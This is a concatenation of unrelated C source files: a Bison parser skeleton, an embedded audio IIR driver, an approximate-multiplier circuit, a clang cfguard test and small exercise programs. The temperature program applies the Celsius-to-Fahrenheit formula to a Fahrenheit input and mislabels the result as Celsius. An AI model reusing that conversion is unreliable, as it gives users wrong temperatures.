-37, -4, -37, -37, -37, -37, -37, -37, -37, -37,
-37, -37, -37, -37, -37, -37, -37, -37, -37
};
/* YYDEFGOTO[NTERM-NUM]. */
static const yytype_int8 yydefgoto[] =
{
-1, 8, 9, 10, 11, 25, 13, 14, 15, 16,
17, 18, 26, 27, 62, 63, 38, 39, 40, 41,
42, 43, 44, 45, 46, 47, 48, 49, 50, 51,
52, 53, 54, 55, 56, 57, 58, 59, 74
};
/* YYTABLE[YYPACT[STATE-NUM]] -- What to do in state STATE-NUM. If
positive, shift that token. If negative, reduce the rule whose
number is the opposite. If YYTABLE_NINF, syntax error. */
static const yytype_uint8 yytable[] =
{
1, 6, 1, 2, 19, 2, 3, 20, 3, 24,
22, 24, 68, 30, 4, 5, 4, 5, 34, 6,
34, 69, 60, 61, 71, 1, 24, 33, 2, 29,
1, 3, 28, 2, 6, 34, 3, 32, 66, 4,
5, 64, 7, 24, 4, 5, 67, 21, 31, 70,
37, 24, 12, 65, 35, 36, 35, 36, 35, 36,
7, 61, 12, 72, 73, 23, 77, 75, 76, 0,
78, 0, 0, 35, 36, 7
};
static const yytype_int8 yycheck[] =
{
5, 37, 5, 8, 6, 8, 11, 0, 11, 31,
12, 31, 32, 38, 19, 20, 19, 20, 40, 37,
40, 37, 40, 25, 40, 5, 31, 32, 8, 37,
5, 11, 17, 8, 37, 40, 11, 22, 38, 19,
20, 26, 78, 31, 19, 20, 31, 10, 22, 32,
24, 31, 0, 27, 78, 79, 78, 79, 78, 79,
78, 63, 10, 40, 65, 13, 32, 40, 63, -1,
74, -1, -1, 78, 79, 78
};
/* YYSTOS[STATE-NUM] -- The (internal number of the) accessing
symbol of state STATE-NUM. */
static const yytype_uint8 yystos[] =
{
0, 5, 8, 11, 19, 20, 37, 78, 81, 82,
83, 84, 85, 86, 87, 88, 89, 90, 91, 90,
0, 82, 90, 85, 31, 85, 92, 93, 96, 37,
38, 92, 96, 32, 40, 78, 79, 92, 96, 97,
98, 99, 100, 101, 102, 103, 104, 105, 106, 107,
108, 109, 110, 111, 112, 113, 114, 115, 116, 117,
40, 90, 94, 95, 96, 92, 38, 96, 32, 97,
32, 97, 40, 65, 118, 40, 94, 32, 101
};
/* YYR1[YYN] -- Symbol number of symbol that rule YYN derives. */
static const yytype_uint8 yyr1[] =
{
0, 80, 81, 81, 82, 82, 83, 84, 84, 84,
84, 85, 85, 86, 86, 86, 87, 88, 88, 89,
89, 90, 91, 91, 91, 92, 92, 93, 93, 94,
94, 95, 96, 96, 96, 96, 97, 97, 98, 98,
99, 99, 100, 101, 101, 102, 103, 104, 105, 106,
107, 108, 109, 110, 111, 112, 113, 114, 115, 116,
116, 117, 118
};
/* YYR2[YYN] -- Number of symbols on the right hand side of rule YYN. */
static const yytype_uint8 yyr2[] =
{
0, 2, 0, 1, 1, 2, 1, 2, 3, 3,
4, 1, 2, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 3, 3, 1, 2, 2, 3, 1,
2, 1, 4, 3, 3, 2, 1, 2, 1, 1,
2, 1, 1, 1, 3, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1
};
#define yyerrok (yyerrstatus = 0)
#define yyclearin (yychar = YYEMPTY)
#define YYEMPTY (-2)
#define YYEOF 0
#define YYACCEPT goto yyacceptlab
#define YYABORT goto yyabortlab
#define YYERROR goto yyerrorlab
#define YYRECOVERING() (!!yyerrstatus)
#define YYBACKUP(Token, Value) \
do \
if (yychar == YYEMPTY) \
{ \
yychar = (Token); \
yylval = (Value); \
YYPOPSTACK (yylen); \
yystate = *yyssp; \
goto yybackup; \
} \
else \
{ \
yyerror (YY_("syntax error: cannot back up")); \
YYERROR; \
} \
while (0)
/* Error token number */
#define YYTERROR 1
#define YYERRCODE 256
/* Enable debugging if requested. */
#if YYDEBUG
# ifndef YYFPRINTF
# include <stdio.h> /* INFRINGES ON USER NAME SPACE */
# define YYFPRINTF fprintf
# endif
# define YYDPRINTF(Args) \
do { \
if (yydebug) \
YYFPRINTF Args; \
} while (0)
/* This macro is provided for backward compatibility. */
#ifndef YY_LOCATION_PRINT
# define YY_LOCATION_PRINT(File, Loc) ((void) 0)
#endif
# define YY_SYMBOL_PRINT(Title, Type, Value, Location) \
do { \
if (yydebug) \
{ \
YYFPRINTF (stderr, "%s ", Title); \
yy_symbol_print (stderr, \
Type, Value); \
YYFPRINTF (stderr, "\n"); \
} \
} while (0)
/*----------------------------------------.
| Print this symbol's value on YYOUTPUT. |
`----------------------------------------*/
static void
yy_symbol_value_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep)
{
FILE *yyo = yyoutput;
YYUSE (yyo);
if (!yyvaluep)
return;
# ifdef YYPRINT
if (yytype < YYNTOKENS)
YYPRINT (yyoutput, yytoknum[yytype], *yyvaluep);
# endif
YYUSE (yytype);
}
/*--------------------------------.
| Print this symbol on YYOUTPUT. |
`--------------------------------*/
static void
yy_symbol_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep)
{
YYFPRINTF (yyoutput, "%s %s (",
yytype < YYNTOKENS ? "token" : "nterm", yytname[yytype]);
yy_symbol_value_print (yyoutput, yytype, yyvaluep);
YYFPRINTF (yyoutput, ")");
}
/*------------------------------------------------------------------.
| yy_stack_print -- Print the state stack from its BOTTOM up to its |
| TOP (included). |
`------------------------------------------------------------------*/
static void
yy_stack_print (yytype_int16 *yybottom, yytype_int16 *yytop)
{
YYFPRINTF (stderr, "Stack now");
for (; yybottom <= yytop; yybottom++)
{
int yybot = *yybottom;
YYFPRINTF (stderr, " %d", yybot);
}
YYFPRINTF (stderr, "\n");
}
# define YY_STACK_PRINT(Bottom, Top) \
do { \
if (yydebug) \
yy_stack_print ((Bottom), (Top)); \
} while (0)
/*------------------------------------------------.
| Report that the YYRULE is going to be reduced. |
`------------------------------------------------*/
static void
yy_reduce_print (yytype_int16 *yyssp, YYSTYPE *yyvsp, int yyrule)
{
unsigned long int yylno = yyrline[yyrule];
int yynrhs = yyr2[yyrule];
int yyi;
YYFPRINTF (stderr, "Reducing stack by rule %d (line %lu):\n",
yyrule - 1, yylno);
/* The symbols being reduced. */
for (yyi = 0; yyi < yynrhs; yyi++)
{
YYFPRINTF (stderr, " $%d = ", yyi + 1);
yy_symbol_print (stderr,
yystos[yyssp[yyi + 1 - yynrhs]],
&(yyvsp[(yyi + 1) - (yynrhs)])
);
YYFPRINTF (stderr, "\n");
}
}
# define YY_REDUCE_PRINT(Rule) \
do { \
if (yydebug) \
yy_reduce_print (yyssp, yyvsp, Rule); \
} while (0)
/* Nonzero means print parse trace. It is left uninitialized so that
multiple parsers can coexist. */
int yydebug;
#else /* !YYDEBUG */
# define YYDPRINTF(Args)
# define YY_SYMBOL_PRINT(Title, Type, Value, Location)
# define YY_STACK_PRINT(Bottom, Top)
# define YY_REDUCE_PRINT(Rule)
#endif /* !YYDEBUG */
/* YYINITDEPTH -- initial size of the parser's stacks. */
#ifndef YYINITDEPTH
# define YYINITDEPTH 200
#endif
/* YYMAXDEPTH -- maximum size the stacks can grow to (effective only
if the built-in stack extension method is used).
Do not make this value too large; the results are undefined if
YYSTACK_ALLOC_MAXIMUM < YYSTACK_BYTES (YYMAXDEPTH)
evaluated with infinite-precision integer arithmetic. */
#ifndef YYMAXDEPTH
# define YYMAXDEPTH 10000
#endif
#if YYERROR_VERBOSE
# ifndef yystrlen
# if defined __GLIBC__ && defined _STRING_H
# define yystrlen strlen
# else
/* Return the length of YYSTR. */
static YYSIZE_T
yystrlen (const char *yystr)
{
YYSIZE_T yylen;
for (yylen = 0; yystr[yylen]; yylen++)
continue;
return yylen;
}
# endif
# endif
# ifndef yystpcpy
# if defined __GLIBC__ && defined _STRING_H && defined _GNU_SOURCE
# define yystpcpy stpcpy
# else
/* Copy YYSRC to YYDEST, returning the address of the terminating '\0' in
YYDEST. */
static char *
yystpcpy (char *yydest, const char *yysrc)
{
char *yyd = yydest;
const char *yys = yysrc;
while ((*yyd++ = *yys++) != '\0')
continue;
return yyd - 1;
}
# endif
# endif
# ifndef yytnamerr
/* Copy to YYRES the contents of YYSTR after stripping away unnecessary
quotes and backslashes, so that it's suitable for yyerror. The
heuristic is that double-quoting is unnecessary unless the string
contains an apostrophe, a comma, or backslash (other than
backslash-backslash). YYSTR is taken from yytname. If YYRES is
null, do not copy; instead, return the length of what the result
would have been. */
static YYSIZE_T
yytnamerr (char *yyres, const char *yystr)
{
if (*yystr == '"')
{
YYSIZE_T yyn = 0;
char const *yyp = yystr;
for (;;)
switch (*++yyp)
{
case '\'':
case ',':
goto do_not_strip_quotes;
case '\\':
if (*++yyp != '\\')
goto do_not_strip_quotes;
/* Fall through. */
default:
if (yyres)
yyres[yyn] = *yyp;
yyn++;
break;
case '"':
if (yyres)
yyres[yyn] = '\0';
return yyn;
}
do_not_strip_quotes: ;
}
if (! yyres)
return yystrlen (yystr);
return yystpcpy (yyres, yystr) - yyres;
}
# endif
/* Copy into *YYMSG, which is of size *YYMSG_ALLOC, an error message
about the unexpected token YYTOKEN for the state stack whose top is
YYSSP.
Return 0 if *YYMSG was successfully written. Return 1 if *YYMSG is
not large enough to hold the message. In that case, also set
*YYMSG_ALLOC to the required number of bytes. Return 2 if the
required number of bytes is too large to store. */
static int
yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg,
yytype_int16 *yyssp, int yytoken)
{
YYSIZE_T yysize0 = yytnamerr (YY_NULLPTR, yytname[yytoken]);
YYSIZE_T yysize = yysize0;
enum { YYERROR_VERBOSE_ARGS_MAXIMUM = 5 };
/* Internationalized format string. */
const char *yyformat = YY_NULLPTR;
/* Arguments of yyformat. */
char const *yyarg[YYERROR_VERBOSE_ARGS_MAXIMUM];
/* Number of reported tokens (one for the "unexpected", one per
"expected"). */
int yycount = 0;
/* There are many possibilities here to consider:
- If this state is a consistent state with a default action, then
the only way this function was invoked is if the default action
is an error action. In that case, don't check for expected
tokens because there are none.
- The only way there can be no lookahead present (in yychar) is if
this state is a consistent state with a default action. Thus,
detecting the absence of a lookahead is sufficient to determine
that there is no unexpected or expected token to report. In that
case, just report a simple "syntax error".
- Don't assume there isn't a lookahead just because this state is a
consistent state with a default action. There might have been a
previous inconsistent state, consistent state with a non-default
action, or user semantic action that manipulated yychar.
- Of course, the expected token list depends on states to have
correct lookahead information, and it depends on the parser not
to perform extra reductions after fetching a lookahead from the
scanner and before detecting a syntax error. Thus, state merging
(from LALR or IELR) and default reductions corrupt the expected
token list. However, the list is correct for canonical LR with
one exception: it will still contain any token that will not be
accepted due to an error action in a later state.
*/
if (yytoken != YYEMPTY)
{
int yyn = yypact[*yyssp];
yyarg[yycount++] = yytname[yytoken];
if (!yypact_value_is_default (yyn))
{
/* Start YYX at -YYN if negative to avoid negative indexes in
YYCHECK. In other words, skip the first -YYN actions for
this state because they are default actions. */
int yyxbegin = yyn < 0 ? -yyn : 0;
/* Stay within bounds of both yycheck and yytname. */
int yychecklim = YYLAST - yyn + 1;
int yyxend = yychecklim < YYNTOKENS ? yychecklim : YYNTOKENS;
int yyx;
for (yyx = yyxbegin; yyx < yyxend; ++yyx)
if (yycheck[yyx + yyn] == yyx && yyx != YYTERROR
&& !yytable_value_is_error (yytable[yyx + yyn]))
{
if (yycount == YYERROR_VERBOSE_ARGS_MAXIMUM)
{
yycount = 1;
yysize = yysize0;
break;
}
yyarg[yycount++] = yytname[yyx];
{
YYSIZE_T yysize1 = yysize + yytnamerr (YY_NULLPTR, yytname[yyx]);
if (! (yysize <= yysize1
&& yysize1 <= YYSTACK_ALLOC_MAXIMUM))
return 2;
yysize = yysize1;
}
}
}
}
switch (yycount)
{
# define YYCASE_(N, S) \
case N: \
yyformat = S; \
break
YYCASE_(0, YY_("syntax error"));
YYCASE_(1, YY_("syntax error, unexpected %s"));
YYCASE_(2, YY_("syntax error, unexpected %s, expecting %s"));
YYCASE_(3, YY_("syntax error, unexpected %s, expecting %s or %s"));
YYCASE_(4, YY_("syntax error, unexpected %s, expecting %s or %s or %s"));
YYCASE_(5, YY_("syntax error, unexpected %s, expecting %s or %s or %s or %s"));
# undef YYCASE_
}
{
YYSIZE_T yysize1 = yysize + yystrlen (yyformat);
if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM))
return 2;
yysize = yysize1;
}
if (*yymsg_alloc < yysize)
{
*yymsg_alloc = 2 * yysize;
if (! (yysize <= *yymsg_alloc
&& *yymsg_alloc <= YYSTACK_ALLOC_MAXIMUM))
*yymsg_alloc = YYSTACK_ALLOC_MAXIMUM;
return 1;
}
/* Avoid sprintf, as that infringes on the user's name space.
Don't have undefined behavior even if the translation
produced a string with the wrong number of "%s"s. */
{
char *yyp = *yymsg;
int yyi = 0;
while ((*yyp = *yyformat) != '\0')
if (*yyp == '%' && yyformat[1] == 's' && yyi < yycount)
{
yyp += yytnamerr (yyp, yyarg[yyi++]);
yyformat += 2;
}
else
{
yyp++;
yyformat++;
}
}
return 0;
}
#endif /* YYERROR_VERBOSE */
/*-----------------------------------------------.
| Release the memory associated to this symbol. |
`-----------------------------------------------*/
static void
yydestruct (const char *yymsg, int yytype, YYSTYPE *yyvaluep)
{
YYUSE (yyvaluep);
if (!yymsg)
yymsg = "Deleting";
YY_SYMBOL_PRINT (yymsg, yytype, yyvaluep, yylocationp);
YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN
YYUSE (yytype);
YY_IGNORE_MAYBE_UNINITIALIZED_END
}
/* The lookahead symbol. */
int yychar;
/* The semantic value of the lookahead symbol. */
YYSTYPE yylval;
/* Number of syntax errors so far. */
int yynerrs;
/*----------.
| yyparse. |
`----------*/
int
yyparse (void)
{
int yystate;
/* Number of tokens to shift before error messages enabled. */
int yyerrstatus;
/* The stacks and their tools:
'yyss': related to states.
'yyvs': related to semantic values.
Refer to the stacks through separate pointers, to allow yyoverflow
to reallocate them elsewhere. */
/* The state stack. */
yytype_int16 yyssa[YYINITDEPTH];
yytype_int16 *yyss;
yytype_int16 *yyssp;
/* The semantic value stack. */
YYSTYPE yyvsa[YYINITDEPTH];
YYSTYPE *yyvs;
YYSTYPE *yyvsp;
YYSIZE_T yystacksize;
int yyn;
int yyresult;
/* Lookahead token as an internal (translated) token number. */
int yytoken = 0;
/* The variables used to return semantic value and location from the
action routines. */
YYSTYPE yyval;
#if YYERROR_VERBOSE
/* Buffer for error messages, and its allocated size. */
char yymsgbuf[128];
char *yymsg = yymsgbuf;
YYSIZE_T yymsg_alloc = sizeof yymsgbuf;
#endif
#define YYPOPSTACK(N) (yyvsp -= (N), yyssp -= (N))
/* The number of symbols on the RHS of the reduced rule.
Keep to zero when no symbol should be popped. */
int yylen = 0;
yyssp = yyss = yyssa;
yyvsp = yyvs = yyvsa;
yystacksize = YYINITDEPTH;
YYDPRINTF ((stderr, "Starting parse\n"));
yystate = 0;
yyerrstatus = 0;
yynerrs = 0;
yychar = YYEMPTY; /* Cause a token to be read. */
goto yysetstate;
/*------------------------------------------------------------.
| yynewstate -- Push a new state, which is found in yystate. |
`------------------------------------------------------------*/
yynewstate:
/* In all cases, when you get here, the value and location stacks
have just been pushed. So pushing a state here evens the stacks. */
yyssp++;
yysetstate:
*yyssp = yystate;
if (yyss + yystacksize - 1 <= yyssp)
{
/* Get the current used size of the three stacks, in elements. */
YYSIZE_T yysize = yyssp - yyss + 1;
#ifdef yyoverflow
{
/* Give user a chance to reallocate the stack. Use copies of
these so that the &'s don't force the real ones into
memory. */
YYSTYPE *yyvs1 = yyvs;
yytype_int16 *yyss1 = yyss;
/* Each stack pointer address is followed by the size of the
data in use in that stack, in bytes. This used to be a
conditional around just the two extra args, but that might
be undefined if yyoverflow is a macro. */
yyoverflow (YY_("memory exhausted"),
&yyss1, yysize * sizeof (*yyssp),
&yyvs1, yysize * sizeof (*yyvsp),
&yystacksize);
yyss = yyss1;
yyvs = yyvs1;
}
#else /* no yyoverflow */
# ifndef YYSTACK_RELOCATE
goto yyexhaustedlab;
# else
/* Extend the stack our own way. */
if (YYMAXDEPTH <= yystacksize)
goto yyexhaustedlab;
yystacksize *= 2;
if (YYMAXDEPTH < yystacksize)
yystacksize = YYMAXDEPTH;
{
yytype_int16 *yyss1 = yyss;
union yyalloc *yyptr =
(union yyalloc *) YYSTACK_ALLOC (YYSTACK_BYTES (yystacksize));
if (! yyptr)
goto yyexhaustedlab;
YYSTACK_RELOCATE (yyss_alloc, yyss);
YYSTACK_RELOCATE (yyvs_alloc, yyvs);
# undef YYSTACK_RELOCATE
if (yyss1 != yyssa)
YYSTACK_FREE (yyss1);
}
# endif
#endif /* no yyoverflow */
yyssp = yyss + yysize - 1;
yyvsp = yyvs + yysize - 1;
YYDPRINTF ((stderr, "Stack size increased to %lu\n",
(unsigned long int) yystacksize));
if (yyss + yystacksize - 1 <= yyssp)
YYABORT;
}
YYDPRINTF ((stderr, "Entering state %d\n", yystate));
if (yystate == YYFINAL)
YYACCEPT;
goto yybackup;
/*-----------.
| yybackup. |
`-----------*/
yybackup:
/* Do appropriate processing given the current state. Read a
lookahead token if we need one and don't already have one. */
/* First try to decide what to do without reference to lookahead token. */
yyn = yypact[yystate];
if (yypact_value_is_default (yyn))
goto yydefault;
/* Not known => get a lookahead token if don't already have one. */
/* YYCHAR is either YYEMPTY or YYEOF or a valid lookahead symbol. */
if (yychar == YYEMPTY)
{
YYDPRINTF ((stderr, "Reading a token: "));
yychar = yylex ();
}
if (yychar <= YYEOF)
{
yychar = yytoken = YYEOF;
YYDPRINTF ((stderr, "Now at end of input.\n"));
}
else
{
yytoken = YYTRANSLATE (yychar);
YY_SYMBOL_PRINT ("Next token is", yytoken, &yylval, &yylloc);
}
/* If the proper action on seeing token YYTOKEN is to reduce or to
detect an error, take that action. */
yyn += yytoken;
if (yyn < 0 || YYLAST < yyn || yycheck[yyn] != yytoken)
goto yydefault;
yyn = yytable[yyn];
if (yyn <= 0)
{
if (yytable_value_is_error (yyn))
goto yyerrlab;
yyn = -yyn;
goto yyreduce;
}
/* Count tokens shifted since error; after three, turn off error
status. */
if (yyerrstatus)
yyerrstatus--;
/* Shift the lookahead token. */
YY_SYMBOL_PRINT ("Shifting", yytoken, &yylval, &yylloc);
/* Discard the shifted token. */
yychar = YYEMPTY;
yystate = yyn;
YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN
*++yyvsp = yylval;
YY_IGNORE_MAYBE_UNINITIALIZED_END
goto yynewstate;
/*-----------------------------------------------------------.
| yydefault -- do the default action for the current state. |
`-----------------------------------------------------------*/
yydefault:
yyn = yydefact[yystate];
if (yyn == 0)
goto yyerrlab;
goto yyreduce;
/*-----------------------------.
| yyreduce -- Do a reduction. |
`-----------------------------*/
yyreduce:
/* yyn is the number of a rule to reduce with. */
yylen = yyr2[yyn];
/* If YYLEN is nonzero, implement the default value of the action:
'$$ = $1'.
Otherwise, the following line sets YYVAL to garbage.
This behavior is undocumented and Bison
users should not rely upon it. Assigning to YYVAL
unconditionally makes the parser a bit smaller, and it avoids a
GCC warning that YYVAL may be used uninitialized. */
yyval = yyvsp[1-yylen];
YY_REDUCE_PRINT (yyn);
switch (yyn)
{
#line 1393 "c.tab.c" /* yacc.c:1646 */
default: break;
}
/* User semantic actions sometimes alter yychar, and that requires
that yytoken be updated with the new translation. We take the
approach of translating immediately before every use of yytoken.
One alternative is translating here after every semantic action,
but that translation would be missed if the semantic action invokes
YYABORT, YYACCEPT, or YYERROR immediately after altering yychar or
if it invokes YYBACKUP. In the case of YYABORT or YYACCEPT, an
incorrect destructor might then be invoked immediately. In the
case of YYERROR or YYBACKUP, subsequent parser actions might lead
to an incorrect destructor call or verbose syntax error message
before the lookahead is translated. */
YY_SYMBOL_PRINT ("-> $$ =", yyr1[yyn], &yyval, &yyloc);
YYPOPSTACK (yylen);
yylen = 0;
YY_STACK_PRINT (yyss, yyssp);
*++yyvsp = yyval;
/* Now 'shift' the result of the reduction. Determine what state
that goes to, based on the state we popped back to and the rule
number reduced by. */
yyn = yyr1[yyn];
yystate = yypgoto[yyn - YYNTOKENS] + *yyssp;
if (0 <= yystate && yystate <= YYLAST && yycheck[yystate] == *yyssp)
yystate = yytable[yystate];
else
yystate = yydefgoto[yyn - YYNTOKENS];
goto yynewstate;
/*--------------------------------------.
| yyerrlab -- here on detecting error. |
`--------------------------------------*/
yyerrlab:
/* Make sure we have latest lookahead translation. See comments at
user semantic actions for why this is necessary. */
yytoken = yychar == YYEMPTY ? YYEMPTY : YYTRANSLATE (yychar);
/* If not already recovering from an error, report this error. */
if (!yyerrstatus)
{
++yynerrs;
#if ! YYERROR_VERBOSE
yyerror (YY_("syntax error"));
#else
# define YYSYNTAX_ERROR yysyntax_error (&yymsg_alloc, &yymsg, \
yyssp, yytoken)
{
char const *yymsgp = YY_("syntax error");
int yysyntax_error_status;
yysyntax_error_status = YYSYNTAX_ERROR;
if (yysyntax_error_status == 0)
yymsgp = yymsg;
else if (yysyntax_error_status == 1)
{
if (yymsg != yymsgbuf)
YYSTACK_FREE (yymsg);
yymsg = (char *) YYSTACK_ALLOC (yymsg_alloc);
if (!yymsg)
{
yymsg = yymsgbuf;
yymsg_alloc = sizeof yymsgbuf;
yysyntax_error_status = 2;
}
else
{
yysyntax_error_status = YYSYNTAX_ERROR;
yymsgp = yymsg;
}
}
yyerror (yymsgp);
if (yysyntax_error_status == 2)
goto yyexhaustedlab;
}
# undef YYSYNTAX_ERROR
#endif
}
if (yyerrstatus == 3)
{
/* If just tried and failed to reuse lookahead token after an
error, discard it. */
if (yychar <= YYEOF)
{
/* Return failure if at end of input. */
if (yychar == YYEOF)
YYABORT;
}
else
{
yydestruct ("Error: discarding",
yytoken, &yylval);
yychar = YYEMPTY;
}
}
/* Else will try to reuse lookahead token after shifting the error
token. */
goto yyerrlab1;
/*---------------------------------------------------.
| yyerrorlab -- error raised explicitly by YYERROR. |
`---------------------------------------------------*/
yyerrorlab:
/* Pacify compilers like GCC when the user code never invokes
YYERROR and the label yyerrorlab therefore never appears in user
code. */
if (/*CONSTCOND*/ 0)
goto yyerrorlab;
/* Do not reclaim the symbols of the rule whose action triggered
this YYERROR. */
YYPOPSTACK (yylen);
yylen = 0;
YY_STACK_PRINT (yyss, yyssp);
yystate = *yyssp;
goto yyerrlab1;
/*-------------------------------------------------------------.
| yyerrlab1 -- common code for both syntax error and YYERROR. |
`-------------------------------------------------------------*/
yyerrlab1:
yyerrstatus = 3; /* Each real token shifted decrements this. */
for (;;)
{
yyn = yypact[yystate];
if (!yypact_value_is_default (yyn))
{
yyn += YYTERROR;
if (0 <= yyn && yyn <= YYLAST && yycheck[yyn] == YYTERROR)
{
yyn = yytable[yyn];
if (0 < yyn)
break;
}
}
/* Pop the current state because it cannot handle the error token. */
if (yyssp == yyss)
YYABORT;
yydestruct ("Error: popping",
yystos[yystate], yyvsp);
YYPOPSTACK (1);
yystate = *yyssp;
YY_STACK_PRINT (yyss, yyssp);
}
YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN
*++yyvsp = yylval;
YY_IGNORE_MAYBE_UNINITIALIZED_END
/* Shift the error token. */
YY_SYMBOL_PRINT ("Shifting", yystos[yyn], yyvsp, yylsp);
yystate = yyn;
goto yynewstate;
/*-------------------------------------.
| yyacceptlab -- YYACCEPT comes here. |
`-------------------------------------*/
yyacceptlab:
yyresult = 0;
goto yyreturn;
/*-----------------------------------.
| yyabortlab -- YYABORT comes here. |
`-----------------------------------*/
yyabortlab:
yyresult = 1;
goto yyreturn;
#if !defined yyoverflow || YYERROR_VERBOSE
/*-------------------------------------------------.
| yyexhaustedlab -- memory exhaustion comes here. |
`-------------------------------------------------*/
yyexhaustedlab:
yyerror (YY_("memory exhausted"));
yyresult = 2;
/* Fall through. */
#endif
yyreturn:
if (yychar != YYEMPTY)
{
/* Make sure we have latest lookahead translation. See comments at
user semantic actions for why this is necessary. */
yytoken = YYTRANSLATE (yychar);
yydestruct ("Cleanup: discarding lookahead",
yytoken, &yylval);
}
/* Do not reclaim the symbols of the rule whose action triggered
this YYABORT or YYACCEPT. */
YYPOPSTACK (yylen);
YY_STACK_PRINT (yyss, yyssp);
while (yyssp != yyss)
{
yydestruct ("Cleanup: popping",
yystos[*yyssp], yyvsp);
YYPOPSTACK (1);
}
#ifndef yyoverflow
if (yyss != yyssa)
YYSTACK_FREE (yyss);
#endif
#if YYERROR_VERBOSE
if (yymsg != yymsgbuf)
YYSTACK_FREE (yymsg);
#endif
return yyresult;
}
#line 190 "c.y" /* yacc.c:1906 */
int main(void)
{
yyparse();
}
|
the_stack_data/140057.c | #include <stdio.h>
int main()
{
int age = 15;
printf("Age = %d",age);
return 0;
}
|
the_stack_data/1118748.c | /*
* Copyright (C) 2018-2020 Alibaba Group Holding Limited
*/
#if defined(CONFIG_MCAXER_LOCAL) && CONFIG_MCAXER_LOCAL
#include "avutil/common.h"
#include "avutil/av_typedef.h"
#include "mca/mca_cls.h"
#include "mca/csky_mca.h"
#define TAG "mca_local"
static struct {
fxp32_t coeff[5];
fxp32_t input[POST_PROC_SAMPLES_MAX];
fxp32_t output[POST_PROC_SAMPLES_MAX - 2];
} _res_iir __attribute__((section(".fast_heap")));
static struct {
aos_mutex_t iir_lock;
int init;
} g_mcalocal;
#define mca_iir_lock() (aos_mutex_lock(&g_mcalocal.iir_lock, AOS_WAIT_FOREVER))
#define mca_iir_unlock() (aos_mutex_unlock(&g_mcalocal.iir_lock))
struct mca_local_priv {
void *hdl;
};
static int _mca_local_init(mcax_t *mca, int32_t type)
{
void *hdl = NULL;
struct mca_local_priv *priv = NULL;
if (!g_mcalocal.init) {
aos_mutex_new(&g_mcalocal.iir_lock);
g_mcalocal.init = 1;
}
priv = aos_zalloc(sizeof(struct mca_local_priv));
CHECK_RET_TAG_WITH_RET(priv, -1);
priv->hdl = hdl;
mca->priv = priv;
return 0;
}
static int _mca_local_iir_fxp32_coeff32_config(mcax_t *mca, const fxp32_t *coeff)
{
UNUSED(mca);
mca_iir_lock();
memcpy(_res_iir.coeff, coeff, sizeof(_res_iir.coeff));
csky_mca_iir_fxp32_coeff32_config(_res_iir.coeff);
mca_iir_unlock();
return 0;
}
static int _mca_local_iir_fxp32(mcax_t *mca, const fxp32_t *input, size_t input_size,
fxp32_t yn1, fxp32_t yn2, fxp32_t *output)
{
UNUSED(mca);
CHECK_PARAM(input_size <= POST_PROC_SAMPLES_MAX, -1);
mca_iir_lock();
memcpy(_res_iir.input, input, input_size * sizeof(fxp32_t));
csky_mca_iir_fxp32(_res_iir.input, input_size, yn1, yn2, _res_iir.output);
memcpy(output, _res_iir.output, (input_size - 2) * sizeof(fxp32_t));
mca_iir_unlock();
return 0;
}
static int _mca_local_uninit(mcax_t *mca)
{
struct mca_local_priv *priv = mca->priv;
aos_free(priv);
mca->priv = NULL;
return 0;
}
const struct mcax_ops mcax_ops_local = {
.name = "mca_local",
.init = _mca_local_init,
.iir_fxp32_coeff32_config = _mca_local_iir_fxp32_coeff32_config,
.iir_fxp32 = _mca_local_iir_fxp32,
.uninit = _mca_local_uninit,
};
#endif
|
the_stack_data/261832.c | /***
* This code is a part of EvoApproxLib library (ehw.fit.vutbr.cz/approxlib) distributed under The MIT License.
* When used, please cite the following article(s): V. Mrazek, L. Sekanina, Z. Vasicek "Libraries of Approximate Circuits: Automated Design and Application in CNN Accelerators" IEEE Journal on Emerging and Selected Topics in Circuits and Systems, Vol 10, No 4, 2020
* This file contains a circuit from a sub-set of pareto optimal circuits with respect to the pwr and mse parameters
***/
// MAE% = 9.40 %
// MAE = 770
// WCE% = 35.66 %
// WCE = 2921
// WCRE% = 300.00 %
// EP% = 96.48 %
// MRE% = 68.94 %
// MSE = 972416
// PDK45_PWR = 0.0006 mW
// PDK45_AREA = 4.7 um2
// PDK45_DELAY = 0.04 ns
#include <stdint.h>
#include <stdlib.h>
uint64_t mul8x5u_453(const uint64_t A,const uint64_t B)
{
uint64_t dout_114, dout_195;
uint64_t O;
dout_114=((A >> 6)&1)&((B >> 3)&1);
dout_195=((B >> 4)&1)&((A >> 7)&1);
O = 0;
O |= (dout_195&1) << 0;
O |= (dout_195&1) << 1;
O |= (0&1) << 2;
O |= (0&1) << 3;
O |= (dout_195&1) << 4;
O |= (0&1) << 5;
O |= (0&1) << 6;
O |= (dout_195&1) << 7;
O |= (0&1) << 8;
O |= (0&1) << 9;
O |= (0&1) << 10;
O |= (dout_114&1) << 11;
O |= (dout_195&1) << 12;
return O;
}
|
the_stack_data/11076463.c | // RUN: %clang_cc1 -cfguard-no-checks -emit-llvm %s -o - | FileCheck %s -check-prefix=CFGUARDNOCHECKS
// RUN: %clang_cc1 -cfguard -emit-llvm %s -o - | FileCheck %s -check-prefix=CFGUARD
void f() {}
// Check that the cfguard metadata flag gets correctly set on the module.
// CFGUARDNOCHECKS: !"cfguard", i32 1}
// CFGUARD: !"cfguard", i32 2}
|
the_stack_data/92328724.c | #include <stdio.h>
#include <stdlib.h>
#define SUM_TO_FARENH 32
#define ADD_TO_FARENH 1.8
#define KELVIN 273.16
void Temperatures(double temperature)
{
double celsius, kelvin, fahrenheit = temperature;
celsius = ADD_TO_FARENH*fahrenheit + SUM_TO_FARENH;
kelvin = KELVIN + celsius;
printf("celsius = %.2f, kelvin = %.2f, fahrenheit = %.2f", celsius, kelvin, fahrenheit);
}
int main()
{
double fahrenheit;
while ((scanf("%lf", &fahrenheit)==1))
{
Temperatures(fahrenheit);
}
return 0;
}
|
the_stack_data/181392673.c | /*
* Copyright (c) 1999-2015 Douglas Gilbert.
* All rights reserved.
* Use of this source code is governed by a BSD-style
* license that can be found in the BSD_LICENSE file.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <ctype.h>
